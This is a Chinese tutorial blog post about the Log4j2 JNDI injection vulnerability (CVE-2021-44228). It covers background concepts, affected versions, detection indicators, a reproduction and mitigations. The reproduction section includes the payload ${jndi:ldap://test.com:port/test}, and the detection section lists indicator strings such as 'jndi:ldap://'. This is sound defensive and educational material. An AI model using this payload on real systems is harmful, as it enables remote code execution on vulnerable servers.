Log4j2漏洞

Log4j介绍

Log for Java,Apache的开源日志记录组件,不同的package打印格式不同

  • 记录日志的作用
    可以对程序的运行进行调试跟踪
    对业务操作进行记录,方便追溯
  • 基本操作
    pom引入依赖
    获得logger实例
    logger.info() debug() error() warn() …

LDAP

Lightweight Directory Access Protocol,轻量级目录访问协议(目录服务),树形目录数据库

  • 目录数据库
    目录数据库和关系数据库不同,它有优异的读性能,适合查询,但写性能差且没有事务处理、回滚等复杂功能,不适于存储修改频繁的数据。
  • 目录服务用途
    统一登录(OA系统、邮箱服务器、Git服务器、VPN)

JNDI

Java Naming and Directory Interface,Java命名和目录接口(命名服务接口),一个接口访问不同的命名和目录服务

  • JNDI可访问的服务
    LDAP目录服务、RMI远程方法调用、DNS、XNam、Novell目录服务、CORBA对象服务、文件系统、Windows XP/2000/NT/Me/9x的注册表、DSML v1&v2、NIS
    在这里插入图片描述

命名服务(Naming Service)

根据名字找到位置、服务、信息、资源、对象等Key-Value

  • 基本操作
    公布资源(名字和资源的映射):bind()
    用名字查找资源:lookup()

JNDI注入

JNDI动态协议转换

即使初始化的Context指定了一个协议,也会根据URI传入的参数来转换协议
比如:Context初始化是RMI服务,但是lookup 的参数是LDAP服务,这个时候协议会动态转 换。

命名引用Naming Reference

  • 不在命名/目录服务本地的一个资源,叫做命名引用,对应Reference类
  • 让JNDI请求不存在的资源
  • 当JNDI客户端在本地classpath找不到这个类中,就会去指定的远程地址请求下载这个类到本地执行

Log4j2漏洞原理

Log4j2支持JNDI lookup功能从而方便的引用外部资源,从而能够进行JNDI注入
在这里插入图片描述执行完下载的恶意代码后,Log4j2调用了javax/naming/spi/NamingManager.java创建实例导致恶意代码自动执行
ObjectFactory

Log4j2漏洞影响

Log4j2漏洞基于供应链已蔓延影响至虚拟化等网络基础设施,受到影响的项目非常多

  • CVE-2021-44228影响版本
    使用了Log4j2的组件,并且版本在2.x <= 2.14.1,JDK版本小于8u191、7u201、6u211

Log4j2漏洞排查方法

手动排查

  • pom版本检查
  • 通过检查日志中是否存在"jndi:ldap://"、“jndi:rmi”、"dnslog.cn"等字符来发现可能的攻击行为
  • 检查日志中是否存在相关堆栈报错,堆栈里是否有JndiLookup、ldapURLContext、getObjectFactoryFromReference等与jndi调用相关的堆栈信息

排查工具

  • https://static.threatbook.cn/tools/log4j-local-check.sh
  • https://sca.seczone.cn/allScanner.zip

Log4j2漏洞复现

  1. 启动LDAP目录服务监听LDAP端口(或使用marshalsec工具包),启动远程HTTP服务器,LDAP服务指向恶意HTTP网址
    在这里插入图片描述
  2. 假设用户可控写入的日志,传入 ${jndi:ldap://test.com:port/test},就会向JNDI接口请求LDAP服务器不存在的资源
    在这里插入图片描述
  3. 通过LDAP向恶意HTTP服务器下载恶意类代码,加载Exploit静态代码打开计算器
    在这里插入图片描述

Log4j2 RCE漏洞修复

  1. 禁止用户请求参数出现攻击关键字–安全产品(WAF、RASP等)
  2. 禁止lookup下载远程文件(命名引用)
  3. 禁止Log4j的应用连接外网
  4. 禁止Log4j使用lookup
  5. 从Log4j jar包中删除lookup(2.10以下)
  • Log4j框架升级到2.17.1版本
    1)默认不再支持二次跳转(命名引用)的方式获取对象
    2)只有在log4j2.allowedLdapClasses列表中指定的class才能获取
    3)只有远程地址是本地地址或者在log4j2.allowedLdapHosts列表指定的地址才能获取
  • 其他方案
    升级JDK
    修改log4j配置:(1)设置参数log4j2.formatMsgNoLookups=True (2)修改JVM参数Dlog4j2.formatMsgNoLookups=true (3)系统环境变量FORMAT_MESSAGES_PATTERN_DISABLE_ LOOKUPS设置为true (4)禁止log4j2 所在服务器外连
  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值